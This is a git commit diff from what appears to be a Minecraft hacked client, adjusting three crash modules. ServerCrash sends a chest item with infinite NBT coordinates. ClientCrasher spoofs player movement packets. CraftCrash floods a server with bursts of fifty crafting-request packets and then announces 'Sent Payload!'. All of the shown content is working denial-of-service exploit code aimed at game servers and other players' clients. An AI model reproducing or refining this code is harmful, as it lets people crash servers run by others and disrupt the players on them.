This commit is contained in:
Saturn5Vfive 2022-04-27 23:26:26 -05:00
parent 53916f8884
commit 5613aa913f
3 changed files with 27 additions and 8 deletions

View file

@ -90,9 +90,9 @@ public class ServerCrash extends Command {
case "malformednbt" -> {
ItemStack ez = new ItemStack(Items.CHEST, 1);
NbtCompound nbt = new NbtCompound();
nbt.put("x", NbtDouble.of(Double.MAX_VALUE));
nbt.put("x", NbtDouble.of(Double.POSITIVE_INFINITY));
nbt.put("y", NbtDouble.of(0.0d));
nbt.put("z", NbtDouble.of(Double.MAX_VALUE));
nbt.put("z", NbtDouble.of(Double.NEGATIVE_INFINITY));
NbtCompound fuck = new NbtCompound();
fuck.put("BlockEntityTag", nbt);
ez.setNbt(fuck);

View file

@ -35,8 +35,9 @@ import java.util.*;
public class ClientCrasher extends Module {
boolean sends = true;
BlockPos selectedbreaker;
BlockPos selectedbreaker = new BlockPos(0,0,0);
final EnumSetting<Mode> mode = this.config.create(new EnumSetting.Builder<>(Mode.Offhand).name("Mode").description("How to crash").get());
final DoubleSetting power = this.config.create(new DoubleSetting.Builder(1000).min(5).max(2000).name("Power").description("How much power to crash with").get());
@ -48,7 +49,7 @@ public class ClientCrasher extends Module {
@EventListener(type=EventType.PACKET_SEND)
void giveAShit(PacketEvent event){
if(mode.getValue() != Mode.Place) return;
if(!this.isEnabled())return;
if(!sends) return;
if (!(event.getPacket() instanceof PlayerMoveC2SPacket packet))
return;
@ -73,7 +74,9 @@ public class ClientCrasher extends Module {
newPacket = new PlayerMoveC2SPacket.Full(x, y + r.nextDouble(), z, packet.getYaw(0),
packet.getPitch(0), true);
sends = false;
client.player.networkHandler.getConnection().send(newPacket);
sends = true;
}
@Override
@ -148,6 +151,7 @@ public class ClientCrasher extends Module {
@Override
public void enable() {
this.selectedbreaker = client.player.getBlockPos();
}
@Override

View file

@ -5,6 +5,9 @@
package net.shadow.client.feature.module.impl.crash;
import net.minecraft.client.util.math.MatrixStack;
import net.minecraft.item.ItemStack;
import net.minecraft.item.Items;
import net.minecraft.nbt.NbtString;
import net.shadow.client.feature.gui.notifications.Notification;
import net.shadow.client.feature.module.Module;
import net.shadow.client.feature.module.ModuleType;
@ -12,8 +15,12 @@ import net.shadow.client.helper.event.EventListener;
import net.shadow.client.helper.event.EventType;
import net.shadow.client.helper.event.Events;
import net.shadow.client.helper.event.events.PacketEvent;
import java.util.Random;
import net.minecraft.client.gui.screen.ingame.CraftingScreen;
import net.minecraft.network.packet.c2s.play.CraftRequestC2SPacket;
import net.minecraft.network.packet.c2s.play.CreativeInventoryActionC2SPacket;
import net.minecraft.recipe.Recipe;
public class CraftCrash extends Module {
@ -32,7 +39,6 @@ public class CraftCrash extends Module {
@EventListener(type=EventType.PACKET_SEND)
public void onPacketSend(PacketEvent event){
if(!this.isEnabled()) return;
if (event.getPacket() instanceof CraftRequestC2SPacket packet) {
if (isListening) {
if (stick == null) {
@ -51,19 +57,28 @@ public class CraftCrash extends Module {
@Override
public void tick() {
if (client.currentScreen instanceof CraftingScreen && !isListening) {
ticks++;
int sync = client.player.currentScreenHandler.syncId;
superticks++;
if (superticks % 15 == 0) {
for (int i = 0; i < 3; i++) {
if(ticks % 15 == 0){
Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Disabling stream...");
for(int i = 0; i < 50; i++){
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, stick, true));
client.player.networkHandler.sendPacket(new CraftRequestC2SPacket(sync, buton, true));
}
}
if(ticks % 75 == 0){
Notification.create(1000, "CraftCrash", Notification.Type.SUCCESS, "Sent Payload!");
this.setEnabled(false);
}
}
}
@Override
public void enable() {
this.isListening = true;
stick = null;
buton = null;
Notification.create(1000, "CraftCrash", Notification.Type.INFO, "Click two crafting recipies");
}
@Override